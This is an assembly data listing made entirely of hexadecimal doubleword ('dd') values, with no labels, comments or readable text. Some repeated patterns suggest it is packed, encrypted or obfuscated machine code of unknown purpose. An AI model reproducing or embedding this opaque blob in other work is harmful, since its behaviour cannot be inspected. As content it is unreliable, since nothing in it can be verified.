		dd 46000000h, 5A85C356h, 0D0A8C552h, 5A4F764Ah,	64D958Bh
		dd 0B5FF05E9h, 5E9321Dh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 17h, 18C35646h, 0F46A0D6h,	0C8Ch, 6820F00h
		dd 89000000h, 0E910758Dh, 0C595FF05h, 8105E90Bh, 0DB3B3ACEh
		dd 0FF006A44h, 0E91E9595h, 0EBC08B05h, 70305C0Eh, 0A876CD8Fh
		dd 93E6B22Bh, 0E8A5CF49h, 12h, 65D6C7E9h, 23220E7Fh, 4246C19h
		dd 74B6D8E9h, 0AE95337h, 0F4000000h, 891926CFh,	1F30917Eh
		dd 0C0815846h, 5D38h, 68B0Fh, 0BD8B0000h, 5E91DDDh, 172DBEh
		dd 5D9D8900h, 0FF05E916h, 6D950330h, 5905E930h,	0FF12F181h
		dd 8D0F3552h, 6, 0C580FC60h, 0C18161A5h, 42BC507Fh, 48D9D8Bh
		dd 0F18105E9h, 30940355h, 26B99D8Bh, 88905E9h, 24E28166h
		dd 4E8837Dh, 0F01EE83h,	0FFFFBA85h, 0D78B66FFh,	9BA708EBh
		dd 5B22h, 2FE90240h, 6800000Ch,	5EEF41Ah, 0FB57BCE9h, 0F52468FFh
		dd 0B2E905EEh, 68FFFB57h, 5EEF6B9h, 0FB57A8E9h,	0F76868FFh
		dd 9EE905EEh, 68FFFB57h, 5EEF831h, 0FB5794E9h, 0FA1568FFh
		dd 8AE905EEh, 68FFFB57h, 5EEFAABh, 0FB5780E9h, 0FBEA68FFh
		dd 76E905EEh, 68FFFB57h, 5EEFD00h, 0FB576CE9h, 2AE141FFh
		dd 0F9B2185Bh, 0C584E72Ah, 944FB3F6h, 661D82C5h, 37B2D297h
		dd 54817D2h, 0D316E5A4h, 0A3E6B56Ch, 36BB8A41h,	5F0DAD5h
		dd 759BD850h, 5F97F980h, 0A85FC1F9h, 28E505EBh,	0FE652242h
		dd 830CDB9Ch, 74520970h, 90778806h, 8462197Dh, 0DCD1E19h
		dd 0AB96E3A8h, 0F76A0D22h, 7B3858D7h, 9D54BBCEh, 7E0CB2BFh
		dd 32AFD857h, 3EFBBE1Fh, 8FCC7A58h, 534EA700h, 0D8577E6Bh
		dd 9D45CE14h, 6D8577Eh,	0F4DED9C0h, 9FD8577Eh, 1E2D7B59h
		dd 57D88C46h, 44h, 5F5AB3B8h, 0DDBEF777h, 8EFCDA20h, 1D18FFF0h
		dd 0E3A80890h, 0B972D4E7h, 0A73816FCh, 0C0F7A461h, 0DF297BA1h
		dd 1320FE76h, 0D857B7AFh, 0A1035010h, 0D88BE1AAh, 0E2CBh
		dd 0A6A1FA00h, 0D857BB3Ch, 0A432167h, 23E097F9h, 0DF9C57BCh
		dd 191DFB32h, 0DBEB567Bh, 6A4D2616h, 0AF8DA2A0h, 0B26F288Ah
		dd 3591F205h, 0C856B0F2h, 88456544h, 3D9FC4A2h,	0A384AF7Eh
		dd 0E8DDBE6Bh, 0B3F6C586h, 0EED8D351h, 99DDBE62h, 0C6763353h
		dd 555037C8h, 0E3A88FA0h, 550E7487h, 43D4B298h,	0ECA22EFDh
		dd 0B4192C13h, 0B9B41FFDh, 0E64316D1h, 0AD6CCDE0h, 14773ECFh
		dd 3B4E3555h, 0C34C1BD6h, 0B3914AB0h, 7F72298Eh, 0CBD2CF7Ch
		dd 0D177E7AAh, 0DF000009h, 0AAEDBC7Fh, 79BC8B44h, 4D905F16h
		dd 206332E9h, 6C3100BBh, 0B56CD118h, 8742A3E6h,	570E75B8h
		dd 24E34588h, 746FD055h, 0D850034Ah, 0F91A0F35h, 0CB0EDD94h
		dd 71D8EB69h, 8E17FDBAh, 0DDBEF724h, 2E9094Fh, 0F704AEA9h
		dd 296FDDBEh, 0B3A1F84Bh, 0C58239A0h, 0FB9301DFh, 9B28230Ah
		dd 0F2E3A808h, 0B31B7BDFh, 99F5D96Bh, 755B1838h, 0D9C00697h
		dd 0E6A364C6h, 34E12200h, 2806BD21h, 57BBB71Bh,	1B5818D8h
		dd 8BEDA2A9h, 56E017D8h, 0F9043E37h, 0B7A45331h, 5000000h
		dd 0F0187CB3h, 6D3BC080h, 4F086A8Fh, 0BC62B92h,	242EFF4Eh
		dd 163DDBEh, 0D6387B4Ah, 0D6A85815h, 5E3B361Dh,	47E3A8FEh
		dd 0A4611A80h, 0A4B79EBEh, 53A6843Fh, 573EB7C7h, 6926DD44h
		dd 0E13AA583h, 0FF258D88h, 874ED854h, 0C2A86524h, 0DCB7C4A2h
		dd 0C9E640A4h, 0CAEAA102h, 14778AE3h, 0ED527755h, 0BF246736h
		dd 3D41104h, 6F32CBD2h,	8C7FFh,	0B675D500h, 853EA4E7h
		dd 591073B6h, 28E3478Ah, 0FAB11659h, 0CB1E662Bh, 99DCAB66h
		dd 6FB28138h, 3F825108h, 0CA4F1EDDh, 2446E69h, 92FD850h
		dd 0DD94F914h, 207CE3F6h, 0C962AF3Ah, 6846662Ah, 0B770D215h
		dd 5AB391E8h, 0BEF7775Fh, 0FCDA20DDh, 6A1175D7h, 0FB9EE5h
		dd 4BDC7E1Fh, 12626586h, 758835F2h, 0B0965312h,	0B4BADD2h
		dd 0FFCEEEA5h, 0A5016376h, 0C9796537h, 975474C1h, 3B47ECB1h
		dd 72F64747h, 97682694h, 0E34457B0h, 0A7856B28h, 0A840059Ah
		dd 21084EE3h, 2C27AD0Eh, 0D857AC82h, 0CA87A7EDh, 5EC506E4h
		dd 296C3BFCh, 0A65310C7h, 0AC68524Dh, 613D857h,	57ACA30Bh
		dd 6686CCD8h, 41767B88h, 0B13D60ECh, 12C92BE0h,	46A7BA43h
		dd 2E0C683h, 0FFBC7BDDh, 918903B0h, 0BF18C350h,	89436B66h
		dd 0E62C5091h, 9189755Dh, 0FAD81E50h, 64C60F4Ch, 89F9E1DCh
		dd 5CA25091h, 0C82A6D3Ch, 0D203520Fh, 25509189h, 399B5021h
		dd 0F32AB382h, 0BFBEB5CEh, 0C5EAC87Bh, 37E7A463h, 0CCC7AE47h
		dd 6E88A723h, 0BB7EDFF2h, 1F064CDDh, 0E8A9A0E8h, 3C1AFB3Dh
		dd 0D0215DE9h, 560DEEE9h, 0B0F670BFh, 473FA4F3h, 0E0A044BFh
		dd 6D1A3193h, 655B6BA4h, 8A000004h, 4F8C3631h, 0B1F744BFh
		dd 5AB39AD3h, 0BEF7775Fh, 0FCDA20DDh, 0BEF7C7EFh, 78E34DDh
		dd 497DDDBFh, 0DEDDBEEBh, 0DDBEE3F0h, 51B6C8C6h, 98937A9Ah
		dd 0E3A81B7Fh, 18EFE228h, 6C5EE92h, 732D343h, 0E0400000h
		dd 0A3094C1Bh, 77DA1DECh, 4AAEF1C0h, 1A7FC291h,	0B9CB905Fh
		dd 4110CB30h, 0FDE9DFEh, 0DFAE65CCh, 0B2813A9Ch, 0E9D1CC2Dh
		dd 92D85001h, 97F9776Ch, 1B7323E0h, 8E4B0269h, 0A6A188A8h
		dd 0E3ADE94Dh, 7901D016h, 40B1CD07h, 0F7955E59h, 5164E646h
		dd 947A37EEh, 14DF25B6h, 0F832BAE1h, 35308986h,	6687C98Dh
		dd 11C82FF6h, 0E9A513F1h, 0A9363118h, 0DA589114h, 172AD794h
		dd 0AC1AF8B3h, 3F3A21D2h, 228A4160h, 0D108EF35h, 13F3AD95h
		dd 0D5401E67h, 0D8A760C2h, 92CF3395h, 496D1A7Ah, 954CB152h
		dd 0A2598275h, 0CC8F070Ch, 6835Ch, 7A319100h, 490268ABh
		dd 15D4377Ah, 0E49F0346h, 0B66DD215h, 876222E7h, 55986722h
		dd 236635F4h, 0F33605BCh, 860BDA91h, 802A25h, 0C5EBD850h
		dd 25DEB0D0h, 0DC42B3Eh, 0D4C9C42Fh, 0A3E3A809h, 0F988F6Ch
		dd 0C2A08CF5h, 8B096A31h, 57A12690h, 0EB0B51D8h, 6B28482Eh
		dd 8D44ABBEh, 6F288AAFh, 7DB4FDB2h, 0BE03F09Dh,	47F5D3FEh
		dd 0ED06780Ah, 0F9F4CF06h, 550B757Ch, 753A66F3h, 0C6A49189h
		dd 6B43605Bh, 714E641h,	6C83A20Ch, 6787CDD6h, 83416D98h
		dd 0CB6D66Ch, 9AD66C83h, 0CB240BE4h, 0BA9853B8h, 7F9D74ADh
		dd 0F0D71DE8h, 0DDBB7ADDh, 915A4D9Ch, 208FCC7Fh, 0C1CC7F91h
		dd 6EB5A85Fh, 0B8D1C6DBh, 5BA85F5h, 68C80000h, 2B91D4A3h
		dd 0FF62A574h, 0D2367948h, 0A2074A19h, 315318E7h, 0C99853B8h
		dd 97662586h, 6736ED54h, 3A09C224h, 715954B5h, 1AD8500Fh
		dd 0DEB0FFF4h, 0EA433E25h, 0B3E3ADE9h, 503ABA6h, 266CD850h
		dd 0CBC61F06h, 0D85005E3h, 0F109A18Ch, 0C6BDBB7Fh, 0E89F05A6h
		dd 2667452Bh, 0CF9E5DBFh, 0CE334943h, 0F90CF313h, 0BDFEDC93h
		dd 6433F456h, 0A467C8DBh, 883FA1C6h
		dd 490264CBh, 7BE258Ch,	0C782E34Ah, 0CC8D910Ah,	9FDCCA88h
		dd 6433F456h, 90BF53F8h, 19A20D8h, 0F64F0000h, 6C37EE3h
		dd 0E52F9720h, 61C4D850h, 70579DAAh, 50E54D75h,	12F036D8h
		dd 25DEB0D9h, 6FD2E53Eh, 3715FBB8h, 0A7FB412Ah,	241950E3h
		dd 9BA26471h, 5ADA88Fh,	6ED857CFh, 73B94A28h, 0CF7D67B6h
		dd 8B79D857h, 31C2BCCEh, 3CBAF14Ah, 0A05BC00Ah,	6075DDDBh
		dd 0FB8C7582h, 2F75E64Eh, 0FCBB1D60h, 4F5FDE15h, 25320843h
		dd 3D9F0647h, 433E977Eh, 0D66C529Bh, 8DE0BE04h,	8D748D01h
		dd 7AA85192h, 7C40AE8h,	54C0AB8h, 0A4F5B5CCh, 5E780546h
		dd 636EE4h, 0B0CF0000h,	0E53E25DEh, 0F8F371D2h,	0DDBEF7CEh
		dd 965373B9h, 38C5D2B0h, 8FE3A808h, 0E6933B36h,	35FCD857h
		dd 1CFA1AD1h, 0A360C48Bh, 32659C83h, 528176F4h,	408FD0AEh
		dd 0D857D292h, 0B13C7D3Dh, 0DD7E3D9Eh, 95E3C178h, 0D88BC6B6h
		dd 4E8CF003h, 8B712EEDh, 0EAC8AE6Bh, 923Bh, 0F6576A00h
		dd 0B2907633h, 0E097F979h, 9C57BC23h, 551678DFh, 74D8EB98h
		dd 0F7CDF5F0h, 70B6DDBEh, 0CFAD9350h, 0C08F48AAh, 9C22437h
		dd 7B88664Ch, 0DDBEFBAAh, 0EFBE7DDFh, 0F2592B63h, 39341B3Bh
		dd 0E3AAA8C4h, 8DA087CDh, 5FA27128h, 974C3FFAh,	45C5EC06h
		dd 3D61282h, 84E40000h,	4FB5F8C7h, 2386C998h, 0EE529564h
		dd 0BE236635h, 156F3403h, 0E5B46FD4h, 0BB8A41A2h, 8B5A1178h
		dd 5625E648h, 4D7570D1h, 36D8500Dh, 94F91B10h, 69CB0EDDh
		dd 0F98CE3B2h, 63B23B97h, 1562281Ah, 9D5A1174h,	73DA97B7h
		dd 348B5A11h, 0BF77AD11h, 77745ADDh, 4C42DDBEh,	98D1CCB3h
		dd 41E3AD69h, 0F08E3EFBh, 0A15E1D7Eh, 5BB49BBBh, 2126E924h
		dd 992CCBBh, 0D85171A1h, 3BA684CAh, 47882B40h, 4FB57CE6h
		dd 0D5F5DB98h, 0DF2357E2h, 9E0ED1CBh, 340h, 5E2DEE4Eh
		dd 2FFEB51Bh, 3D289ECh,	0D09F5CC0h, 0A271288Dh,	0DD42A7DDh
		dd 0B3145726h, 7FE629F8h, 54B6F9C8h, 0DE3FC493h, 500DFBE3h
		dd 897EA4D8h, 775F5AB3h, 20DDBEF7h, 75D7FCDAh, 3092F9B6h
		dd 1C7D9077h, 9BBB78DCh, 0C71AF8DEh, 0CBB2433Bh, 0D3CE56B8h
		dd 0DDBEF7EBh, 502E4E94h, 0DB9EAE5h, 7588E3A8h,	0B79D5A11h
		dd 450248D9h, 57E0C8F6h, 6633F3D8h, 8BD4C784h, 41ACD8h
		dd 0B00D0000h, 0E53E25DEh, 0D9B770D2h, 0A808C7CCh, 6D2A70E3h
		dd 57E5B01Eh, 30EB4FD8h, 6BA70C73h, 702D4D04h, 0EEA6F3F7h
		dd 0AA185919h, 0D88BB3A1h, 0CED2h, 0ADA80100h, 0D857E905h
		dd 2687286Eh, 0F94C8563h, 0C2F9E097h, 8121B0A9h, 8DCEAC69h
		dd 4D0AC126h, 6C384E6h,	64C12259h, 0E501B849h, 0C780E207h
		dd 2A1CCDF8h, 0D8EBDDBEh, 16FCB972h, 0FAB11338h, 0C586E82Bh
		dd 0CD265808h, 187A8DE6h, 0DEBCA25Fh, 0A72A30D1h, 0BD22E9E3h
		dd 8B17E606h, 201B02F3h, 0E6436CEDh, 0D58CF3BAh, 56BBCEB5h
		dd 62F1D9D4h, 549AD66Bh, 83DC6534h, 6B625E88h, 250349D6h
		dd 0EDE09B00h, 0CBD22874h, 19F0FD2h, 0F000002h,	0DA1DECAFh
		dd 0A9ECBB74h, 7DC08F46h, 50936219h, 9C6130EBh,	0E59C01E8h
		dd 0B772D316h, 873EA5E8h, 541375B8h, 0A49F0085h, 0D8500C3Ah
		dd 0F94A3F65h, 10683894h, 0E8F65BE0h, 54B6F9C8h, 0B06DC493h
		dd 433E25DEh, 0E3A808BEh, 0F16BFCE7h, 0B8F6673h, 4A812EEBh
		dd 0EC2422A4h, 37791C20h, 20EA8146h, 2A98A583h,	95D85744h
		dd 252684D5h, 4ED88C54h, 101h, 5F97F9AFh, 9C823FFAh, 0C2E299FBh
		dd 0E0455805h, 68238829h, 4900658Ah, 0B1E94F62h, 9674944Bh
		dd 0FB250655h, 86ADDBEh, 0DB3D804Fh, 0DFAF5F1Ch, 6A8A41A5h
		dd 0F9878883h, 5AA0E3A7h, 0B71F1A73h, 0E0D857FDh, 0EB8B39Ah
		dd 79D857FDh, 79025533h, 0EBAA0D20h, 57FD7862h,	0FFDD23D8h
		dd 2083FD91h, 25C6AC69h, 0FCE303C2h, 6B9CE5C5h,	0FEDCDA71h
		dd 0D1D69893h, 4B91E643h, 35EC5164h, 0FBF4174Eh, 0E90EC41Ch
		dd 0F82FB80Bh, 0CC1C5CB4h, 0EC50F1D2h, 0C72C512Fh, 0B9A2190Ch
		dd 31F4CBD2h, 0EBC1h, 0E299F900h, 0B16AD013h, 7D3C9FE2h
		dd 4C076BAEh, 1ED53A7Dh, 0EFFA8A4Fh, 0BD00CF8Ah, 8BCE9D5Ch
		dd 5B9E6D24h, 0EE7342F9h, 0A28928Dh, 2D53D850h,	5F5AB338h
		dd 0DDBEF777h, 0F8F3DA20h, 0DDBEF7CEh, 709573B9h, 5669500Bh
		dd 957B38EFh, 19D68DF4h, 0BF025533h, 80B79E5Dh,	0DD4C1844h
		dd 0D1240234h, 0E097F97Ah, 2637623h, 0E2446947h, 0B0CE5A29h
		dd 81A15ABEh, 0E9429F9Ah, 0CD13E3ADh, 9047A910h, 5B1C7EC1h
		dd 5BBAF19Eh, 6C98BFB3h, 3DBAC7A5h, 84396533h, 1072BBF8h
		dd 232D9590h, 1056B904h, 7CDE21F0h, 687BD4BBh, 0A58B4803h
		dd 423B21Ch, 0D5D0DDB9h, 0B90423EDh, 52305096h,	8D46AA11h
		dd 723F6BD0h, 65FB57B9h, 68896315h, 72B584A4h, 2A9A5710h
		dd 14h,	437CB389h, 33F54B93h, 686C5651h, 0D117DDBEh, 7732D3B1h
		dd 25E299F9h, 0DE9B5CBEh, 9C591077h, 5815D435h,	18D58CF1h
		dd 0D8954CB1h, 99560D71h, 5B18CF32h, 18D58EF4h,	0DFE6881h
		dd 34890000h, 0E0895024h, 405h,	4E88300h, 5C240487h, 68240489h
		dd 4E04h, 0B8241489h, 364F64ACh, 0B504832Dh, 0BE564039h
		dd 52752D2Ah, 657FF681h, 0E6C1474Dh, 92F68108h,	31C13CC7h
		dd 8B545EF0h, 0C4812414h, 4, 0C3895351h, 895BD989h, 0FF59084Ah
		dd 815A2434h, 4C4h, 24048B00h, 81E68956h, 4C6h,	4C68300h
		dd 5C243487h, 0FB4B98E9h, 10B874FFh, 305EEFEh, 5DE0FFC5h
		dd 0DF286637h, 933353EFh, 0D01205E5h, 4F26ECC2h, 942DCAE6h
		dd 4237BD52h, 152FD837h, 4607FAAh, 38186F5Ch, 8D1031FDh
		dd 0EEFF3A8Dh, 28D48005h, 26558D89h, 0D78B05E9h, 80585C7h
		dd 5BD805E9h, 8D890000h, 5E929F1h, 163D85C7h, 5E9h, 0B5890000h
		dd 5E900A5h, 4BDB5FFh, 6A05E9h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 8BCDB1C3h, 0C595FFF0h
		dd 2905E90Bh, 0E92B25B5h, 0D8C0F05h, 60000000h,	78E88166h
		dd 870F97h, 61000000h, 95FF006Ah, 5E91E95h, 69EBC08Bh
		dd 46064661h, 3CB83BADh, 7DA6EDEBh, 0F99C8168h,	263002CEh
		dd 0FED542D4h, 4001061Bh, 0ECB71025h, 6D1A1F14h, 3D52A2AEh
		dd 8639CC3h, 0F23D3B50h, 11C202A0h, 9D17B2E2h, 45F5FF1Bh
		dd 7DF7488Fh, 0C0AE5B4Fh, 0EBC5E79Ah, 0DBABF1D4h, 7191A1CBh
		dd 0F182738Ch, 0A058689h, 4788D771h, 1D9ED841h,	1C40C24Bh
		dd 0F7A30A5Fh, 79EB6Eh,	8CEF9E7Dh, 0D60FE221h, 979FABAFh
		dd 0E37C4DB2h, 720095B7h, 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h
		dd 609EB794h, 897D60D7h, 8C9EA9BDh, 0E3729EBDh,	204A95ACh
		dd 7E9BB98Bh, 0B99D8993h, 96AFF496h, 0B594A19Eh, 0FD91A7D6h
		dd 0CC48D100h, 3C33594Ah, 4D520071h, 5EF357DBh,	0B79BB7D6h
		dd 0ABAFF600h, 9F8995h,	0C77156F0h, 0BEB3D7h, 0D7567118h
		dd 73E2ADC4h, 29195EBEh, 0FCEE9h, 1C76800h, 0C4E905EFh
		dd 68FFFA7Fh, 5EF02F4h,	0FA7FBAE9h, 3BC68FFh, 0B0E905EFh
		dd 68FFFA7Fh, 5EF053Ch,	0FA7FA6E9h, 5DB68FFh, 9CE905EFh
		dd 68FFFA7Fh, 5EF0680h,	0FA7F92E9h, 72868FFh, 88E905EFh
		dd 68FFFA7Fh, 5EF07D5h,	0FA7F7EE9h, 88168FFh, 74E905EFh
		dd 68FFFA7Fh, 5EF095Dh,	0FA7F6AE9h, 0B0568FFh, 60E905EFh
		dd 68FFFA7Fh, 5EF0D81h,	0FA7F56E9h, 0E7168FFh, 4CE905EFh
		dd 18FFFA7Fh, 0AE94B1D8h, 40264372h, 0D1B7D403h, 60466396h
		dd 0D6DAF722h, 3D68A60Ch, 0D2F93A20h, 6590CFB5h, 0F5286248h
		dd 7C2A0BD8h, 13261A3Ah, 0C28D6BC4h, 63275588h,	91C0FC29h
		dd 81D9122Fh, 37C06E11h, 371C3223h, 598893C1h, 707DB08Eh
		dd 0A268D771h, 0A72B8132h, 50722CC9h, 0A713208Bh, 943C6F06h
		dd 8C452642h, 27h, 0A7176F52h, 294D5604h, 43B91C32h, 0B457D15h
		dd 19B21320h, 0A4D2053Fh, 6D083DDAh, 26C6923Eh,	0D88E45h
		dd 7B540000h, 63467A1h,	789FE03Ch, 88BBF5DBh, 2D58965Ah
		dd 0CE013BFFh, 7EBB95A0h, 0BA57214Fh, 4A679AD4h, 0C9177B90h
		dd 4A7DB716h, 0E00D472Dh, 804A789Fh, 81D9F01Eh,	0BC06E11h
		dd 4B1C31F4h, 631132D5h, 13203A23h, 0E3C6BA7h, 8735EC44h
		dd 13203AC7h, 52EF51C7h, 0AA1A72ABh, 0CF0CE607h, 454903A0h
		dd 0C919C6B2h, 2EC4DF04h, 0A6CE58Ch, 2A4F8D67h,	0C993C1ECh
		dd 431D4A67h, 0E1ABD904h, 0F5205E44h, 72C3BEC4h, 59150D6Fh
		dd 0D9Eh, 7794BBFBh, 9265591h, 9AB7E623h, 294679B4h, 0BDDA0543h
		dd 539129B9h, 0E4250B28h, 7BBAA0BDh, 134D3350h,	15F6C3E0h
		dd 261B2767h, 704EA713h, 3C5984C2h, 46E91C56h, 1A377725h
		dd 41B716C9h, 0A4124990h, 37D43730h, 5A7B6290h,	0C91AEAACh
		dd 0E17EF416h, 3DE050A8h, 3229928Fh, 4984F41Ch,	4EB0DF1Ch
		dd 5684B7F2h, 0F1FC2A8Ch, 2E5CDA17h, 0E2D71F1Ah, 2BF52385h
		dd 5CEED48Eh, 68091320h, 91F29E0Dh, 0E0EE4526h,	0B5000000h
		dd 0F509A486h, 0C5628C24h, 5588C297h, 0FA256327h, 1292C1CCh
		dd 4A7DB8E8h, 0E2A1521Ch, 76CF8073h, 0E23FD5F1h, 0F506C05Dh
		dd 0F616C909h, 1B2DD1Ch, 0F7756326h, 12F895D8h,	5B88A5D8h
		dd 0E5134681h, 6A2CDAh,	0FE7416C9h, 0DF19FF9Ch,	0F677EACh
		dd 0FD4EFC9Fh, 391C31EDh, 0FD5F8AC9h, 0DF4FA7E0h, 4CFA1B3Ch
		dd 1320230Ah, 0C7811E94h, 19C6BC74h, 84A548BEh,	96F1B563h
		dd 0B8F916CBh, 26C33991h, 0A0DD0240h, 0ADD41571h, 0A482E4Bh
		dd 96AEF09Eh, 0BA3016CBh, 6B072758h, 3E366F72h,	0C7182h
		dd 678ECE00h, 0F928644Ah, 8AB9F6DCh, 194C876Dh,	0ADD816FCh
		dd 5C568C90h, 0F0D6F31Eh, 856B88AFh, 18FE1B46h,	0C18EABDEh
		dd 186C32E0h, 19721326h, 5984C23Bh, 0E91C563Ch,	88C59FCCh
		dd 0C28EBC59h, 63275588h, 7953F629h, 0AED5163Bh, 0F854B680h
		dd 945E8CBBh, 2D6A50F7h, 0D20CD0FEh, 3455829Fh,	0C91AC086h
		dd 0BB58CE16h, 0C61E2D97h, 0E005B356h, 2E1C321Ch, 0CEF389B8h
		dd 0E16BA607h, 0B7DE1F89h, 25206614h, 38AEE4AAh, 0EC8533D6h
		dd 3AEE5113h, 277F96C4h, 3B86C876h, 9208E143h, 999B8AE1h
		dd 157746D9h, 0F0ADC472h, 7FF5EBBFh, 95C802DCh,	221C4B78h
		dd 8999A371h, 0BEF8DE7Bh, 0C8485A8Bh, 8F877D0Eh, 0BA9D3h
		dd 9FC60600h, 31609C82h, 0C2F12E14h, 5184BFA5h,	0E5104E34h
		dd 941EC4C8h, 280E2B56h, 0BDA3C0E7h, 5036537Eh,	0F9C6E316h
		dd 19246A18h, 51AA1326h, 5A4C7B73h, 5096AB6Bh, 7333E184h
		dd 7B16C9C8h, 48826805h, 78D0E715h, 73A1D40Eh, 0F6A447A9h
		dd 1C312ED1h, 518AA71Dh, 0D49A48F9h, 0DA1320E6h, 0B15F0264h
		dd 19DBEA00h, 0B7C2F066h, 0E2A6E896h, 2FDD16C9h, 16C9E26Fh
		dd 0EAA1F96Fh, 0C9E27A3Ch, 0AC0E8416h, 0E26D550Fh, 0F18A16C9h
		dd 0EABDA17h, 410F9CD9h, 5F40CF2Fh, 47h, 0A7176F25h, 5C395604h
		dd 0F851C32h, 2853926Ch, 0F0B66485h, 0FA132054h, 986290BBh
		dd 862DCA40h, 205488CCh, 0A1D40E13h, 6F2FDDFEh,	6B132054h
		dd 2FA5FD30h, 0C605EB92h, 88626D9Bh, 25EF1D4Ch,	0AC8AA88h
		dd 7BEA0000h, 48F662A1h, 16C91A06h, 82B01288h, 8AE21BB8h
		dd 8AB8DF20h, 0DBB5EC0h, 1C341A5Eh, 1C4BEE64h, 5C28D2A5h
		dd 76A340B5h, 122F629Ch, 91BFF22Ch, 0FB2227Ah, 0DD35F761h
		dd 0D6843B19h, 16C81B90h, 54ACDF1Ah, 0B8D97CDEh, 0C81B440Ah
		dd 37D44A16h, 0CE0FE90Ah, 12AF79A7h, 86C5F22Ch,	0C9F72261h
		dd 646F9DFFh, 0C81BF0B6h, 2688FE16h, 84721C4h, 164581DDh
		dd 0B2ECD279h, 0B6184B85h, 0A9197188h, 0CC85D706h, 5D6C3F78h
		dd 6CE593C0h, 0FA1C33B7h, 50E75384h, 3E36698Ch,	0A2982h
		dd 1F468600h, 0B1E01C02h, 4271AE94h, 0D1043F25h, 6590CEB4h
		dd 149E4448h, 0A88EABD6h, 3D234067h, 0D0B6D3FEh, 79466396h
		dd 1FA4EA98h, 0D12A1326h, 1AD4EEF3h, 83DB16C9h,	0EC27013h
		dd 91C32CBh, 98C6F12Fh,	0D94F31CEh, 0EF225C36h,	85B2ECD2h
		dd 1FE9174Ah, 72EB1ABDh, 0E17FD1C8h, 58BAE523h,	214707B5h
		dd 0D1471327h, 42717C34h, 4A2B67DAh, 0D7852809h, 1327F897h
		dd 0CB04A117h, 9DCC0973h, 0A043A56Fh, 0F7F24871h, 0A23FE35Dh
		dd 0D1E6C775h, 0B22819DFh, 6DF30381h, 3EFAF26Fh, 98Ah
		dd 6380A7E7h, 0F512417Dh, 86A3D20Fh, 153265A0h,	0A9C6F12Fh
		dd 37753DA5h, 0C809EF0Ch, 5F9E84A1h, 0F7311734h, 0F9DAA7C4h
		dd 261F0B4Bh, 5C3A9313h, 205B88C2h, 995D8BEDh, 6EFE2C5Fh
		dd 0DB85264Fh, 0D540CFD3h, 3F5h, 0A7176F9Bh, 0CBEE5604h
		dd 0BE341C32h, 0D407411Bh, 0F9361031h, 0E5D49ACAh, 64DA1327h
		dd 3A20C7h, 11502ACDh, 51EEB8E6h, 0E5C10199h, 96EE1327h
		dd 0F0D58326h, 0F319DF03h, 0FACDF19h, 4F82BD2Dh, 616F0821h
		dd 90AC88BEh, 0BA387D2Eh, 390A830Fh, 0D02EA6D7h, 29216F6Dh
		dd 8E56Dh, 0DB024200h, 6D9CD8BEh, 0FE2D6A50h, 8DC0FBE1h
		dd 214C8A70h, 0D8E20004h, 6C526F9Ah, 1E7042Bh, 947A97C2h
		dd 3D0A275Ah, 1CE8AE5Ch, 9DF61326h, 5588C2BFh, 6C9BD8B2h
		dd 42D783BBh, 67040C64h, 7EB1EBAFh, 0D4A1C050h,	0CFB409D7h
		dd 3472740h, 14EE0000h,	5503A6D9h, 16C94511h, 5C8A279Dh
		dd 0C91AD4EEh, 1383DB16h, 0CB4CC270h, 1C921C32h, 0E3659F79h
		dd 0D696B087h, 143B7C86h, 4D3350B2h, 1C3DE013h,	27D8286Eh
		dd 0A340B613h, 0C7CD4EBh, 306E4869h, 89AE6805h,	0D519DF3Eh
		dd 0AE42E5Fh, 736B6F6Dh, 83DB7h, 335A9A00h, 0C5F43016h
		dd 5685C2A8h, 0E5185339h, 79A4E2C8h, 308A585Ch,	0C4AAC7F2h
		dd 593F5C83h, 0ECD2EF1Ah, 95627FB2h, 1D4006B4h,	0F54E1326h
		dd 62A17B17h, 7AB49A37h, 1B551947h, 1AB5F9A7h, 0C33916C9h
		dd 84A33361h, 0D316BAF1h, 24FE40CFh, 2206B7EAh,	309C7BE5h
		dd 924061FEh, 6000002h,	0C91AD4EEh, 1383DB16h, 0DDA14F70h
		dd 0E116C91Ah, 541AC86Bh, 5A16C91Ah, 6C1A47E4h,	1C32CB93h
		dd 0A1C265DBh, 9144A072h, 54F16B53h, 0C907346Eh, 391F3C9Eh
		dd 879ECCFFh, 6E1CBF2Fh, 19DCD3A9h, 4A8EBF35h, 56F6D35h
		dd 790510Dh, 0ADED0000h, 47836986h, 0D815FB18h,	6BA68CA9h
		dd 0F7351B38h, 37ABAFCCh, 0F5123D7Bh, 8AA7CE0Fh, 1D3A65A4h
		dd 0ADCAFD37h, 0D51FFE0h, 9113261Dh, 0A17B5A38h, 3D073564h
		dd 4D80BAA0h, 0EE215B1Fh, 471D0C0h, 163366A0h, 57D10FE9h
		dd 0F1D4D979h, 943193F1h, 0CFF8EBB5h, 70540h, 0CACB0000h
		dd 1E1h, 1AAEEE0Ah, 85DD16C9h, 5B987215h, 9734FE2Ch, 1AFEBC6Ah
		dd 82F81C34h, 9ECB05DFh, 0CBFA3764h, 4371D39Dh,	14FA1779h
		dd 6279A7DAh, 0EBAB590Ah, 0F313261Ah, 0CA781B7Dh, 19DD1605h
		dd 8CE21389h, 0BB6F6EF2h, 6E407C3h, 1410000h, 9BD7BDDAh
		dd 2C694F6Ch, 0BFFAE0FDh, 4B896F8Ch, 0E3FF0320h, 516E99D7h
		dd 0E6032A6Bh, 7996C100h, 9265993h
		dd 0E9AD5B3Ch, 0F5132612h, 88C2BE9Ch, 65D8B906h, 5CFFD24h
		dd 0DE31BE54h, 508A4E7Ch, 65A07A1Dh, 0EDDD9532h, 4776E78Eh
		dd 9EB62567h, 0E5227EEFh, 21BE88B6h, 2BCE013Bh,	531A5C0Ah
		dd 0EDA416C9h, 0C9537F3Fh, 0A7097F16h, 5C36630Ah, 0E0A99F21h
		dd 98BCF424h, 0A13E0836h, 0CF211EC2h, 71240h, 0CAD80000h
		dd 109h, 1AAFEE0Ah, 84DC16C9h, 21507114h, 50D86349h, 0AB59FC59h
		dd 16C981EBh, 26E07DF3h, 1C34816Fh, 2815F928h, 6B1C4F89h
		dd 0C461D833h, 0EFC96CE2h, 7F6582B5h, 0CDE41245h, 0B4620575h
		dd 19DD0773h, 24D4057Bh, 736F6EE2h, 608BF7Bh, 25650000h
		dd 0BFFBE1FEh, 508D7390h, 0E31E0421h, 6FAD93B0h, 0BF232744h
		dd 6D8AB5F3h, 21F4687h,	95B2DD1Ch, 254275AFh, 85C97758h
